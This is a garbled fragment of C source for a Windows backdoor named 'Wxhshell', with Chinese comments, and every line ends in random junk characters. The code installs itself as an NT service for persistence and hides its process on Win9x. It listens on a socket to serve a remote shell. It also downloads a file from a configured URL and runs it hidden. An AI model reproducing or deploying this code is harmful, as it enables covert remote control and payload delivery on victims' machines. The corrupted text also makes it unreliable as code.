DWORD BasePriority; t2,II\Kl
ULONG UniqueProcessId; xJ3C^b%H
ULONG InheritedFromUniqueProcessId; 4o#]hB';ni
} PROCESS_BASIC_INFORMATION; B_d\eD
t/[lA=0 )2
PROCNTQSIP NtQueryInformationProcess; gC?}1]9c
k'iiRRM
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J2qsZ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ( 1z"=NCp
]({-vG\m
HANDLE hProcess; 5qrD~D'
PROCESS_BASIC_INFORMATION pbi; b^HDN(v
2}&ERW
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6La[( )
if(NULL == hInst ) return 0; QVjHGY*R
o^epXIrIPi
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
Nk9=A4=|
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OG}890$n
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x;[ . ZzQ
n~629 &
if (!NtQueryInformationProcess) return 0; ^/#+0/Bn
G`l\R:Q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Lip#uuuXXN
if(!hProcess) return 0; %gmx47
Bj7*2}
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; XH%pV
;
$rQ
CloseHandle(hProcess); =%|`gZ
2_pF#M9
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a*(Zb|g
if(hProcess==NULL) return 0; S#GxKMO%
!l*A3qA
HMODULE hMod; ,g?ny<#o
char procName[255]; M@TG7M7Os
unsigned long cbNeeded; k1,k 9BK
Ubu&$4a
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); })OS2F
~m=GS[=
CloseHandle(hProcess); M!6Fnj
>n,_Aj
c
if(strstr(procName,"services")) return 1; // 以服务启动 Q+1ot,R
8fqabR
return 0; // 注册表启动 wKpGJ&
{
} .OJGo<#$f
0se%|Z|8
// 主模块 F/2cQ.u2
int StartWxhshell(LPSTR lpCmdLine) tz]0F5
{ r $S9/
SOCKET wsl; @_`r*Tb)dM
BOOL val=TRUE; "[ LUv5
int port=0; g/C 7wc
struct sockaddr_in door; |&@q$d
a>GA=r
if(wscfg.ws_autoins) Install(); 3.YH7rN
; Pk"mC
port=atoi(lpCmdLine); OD'~t,St
{APfSD_4
if(port<=0) port=wscfg.ws_port; O
?T~>|
Gxd/t#;
WSADATA data; `&NFl'l1C
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v.W!
"5eD
>!
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; lB27Z}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p>)1Z<D"a
door.sin_family = AF_INET; =+X*$'<J
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;,-)Z|W
door.sin_port = htons(port); |Kd6.Mx
@ fMlbJq
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vE9"1M
closesocket(wsl); b#I,Z+0ry
return 1; '\{ OQH
} HVvm3qu4
oRd{?I&NY
if(listen(wsl,2) == INVALID_SOCKET) { <vl(a*4a
closesocket(wsl); )[hs#nKTh
return 1; !&OdbRHM
} ^RnQX#+
Wxhshell(wsl); Y<;C>Rs
WSACleanup(); >> cW0I/`
?4SYroXUX|
return 0; q[/g3D\G
@16y%]Q-E#
} IRM jL.q
U+VJiz<!
// 以NT服务方式启动 <@`K^g;W
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~6#mVP5sU)
{ s;h`n$
DWORD status = 0; S*}GW-)oA
DWORD specificError = 0xfffffff; =3,<(F5Y[
cY} jPDH
serviceStatus.dwServiceType = SERVICE_WIN32; t>]W+Lx#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; K/(LF}
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 07^.Z[(pCt
serviceStatus.dwWin32ExitCode = 0; M(8xwo-W
serviceStatus.dwServiceSpecificExitCode = 0; 4`~OxL
serviceStatus.dwCheckPoint = 0; ,dba:D=l
serviceStatus.dwWaitHint = 0; R@WW@ Of
/,7#%D
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *Iw19o-I
if (hServiceStatusHandle==0) return; Q\X_JZ
])pX)(a
status = GetLastError(); R&s/s`pLW
if (status!=NO_ERROR) Jur$O,u40l
{ 0D:uM$
i]
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7#
'j>]
serviceStatus.dwCheckPoint = 0; aJm5`az)
serviceStatus.dwWaitHint = 0; R GV{KL
serviceStatus.dwWin32ExitCode = status; R(Vd[EGY
serviceStatus.dwServiceSpecificExitCode = specificError; qjfv9sU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R7Tl1!,h
return; fo}@B&=4
} LzXIqj'H7T
N0fE*xo
serviceStatus.dwCurrentState = SERVICE_RUNNING; FIn)O-<
serviceStatus.dwCheckPoint = 0; 1slt[&4N
serviceStatus.dwWaitHint = 0; 3!;o\bgK
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )P1NX"A
} BvlY\^
6:r1^q6A9L
// 处理NT服务事件,比如:启动、停止 /x-tl)(s=
VOID WINAPI NTServiceHandler(DWORD fdwControl) p38s&\-kEN
{ L%9yFg%u
switch(fdwControl) avS9 "e
{ gKU*@`6G
case SERVICE_CONTROL_STOP: UL7%6v{'*
serviceStatus.dwWin32ExitCode = 0; ~R|fdD/%
serviceStatus.dwCurrentState = SERVICE_STOPPED; Cyv_(Oh?dv
serviceStatus.dwCheckPoint = 0; 'iYaA-9j
serviceStatus.dwWaitHint = 0; uJ*|SSN~
{ YVY(uq)d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !oV'
} b(ryk./ogx
return; Vfw +m1sS
case SERVICE_CONTROL_PAUSE: I |D]NY^
serviceStatus.dwCurrentState = SERVICE_PAUSED; a(o[ bH.|;
break; # 9f
4{=\
case SERVICE_CONTROL_CONTINUE: n O}x,sG2'
serviceStatus.dwCurrentState = SERVICE_RUNNING; jM@@N.
break; AMgvk`<f
case SERVICE_CONTROL_INTERROGATE: ;c~DBJg'|
break; HSl$ U0
}; ZG)C#I1;O
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1 _W5@)
} N_!Zn"J
of<>M4/g4y
// 标准应用程序主函数 Q!%CU8!`&
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) I(WND/&
{ $PbN=@
Y@'1}=`J
// 获取操作系统版本 "ZVBn!
OsIsNt=GetOsVer(); 8<^6<c
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^_Z Qf
=TI|uD6T
// 从命令行安装 eWx6$_|
if(strpbrk(lpCmdLine,"iI")) Install(); VA'<
b OmM~pD
// 下载执行文件 o9HDxS$~^
if(wscfg.ws_downexe) { Ll&5#q
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +ACV,GG
WinExec(wscfg.ws_filenam,SW_HIDE); ;v+CQx
} OEGAwP?F
oB Bdk@
if(!OsIsNt) { 5p{tt;9[
// 如果时win9x,隐藏进程并且设置为注册表启动 s: q15"
HideProc(); FkECY
StartWxhshell(lpCmdLine); B
9]sSx
} !r!Mq~X<=
else 7!N5uR
if(StartFromService()) CM's6qhQnn
// 以服务方式启动 g9"_ BG
StartServiceCtrlDispatcher(DispatchTable); 1y8:tri>N
else tT#Q`cB
// 普通方式启动 Sdt2D
StartWxhshell(lpCmdLine); &FvNz
lB\j>.c
return 0; Y.*lO
}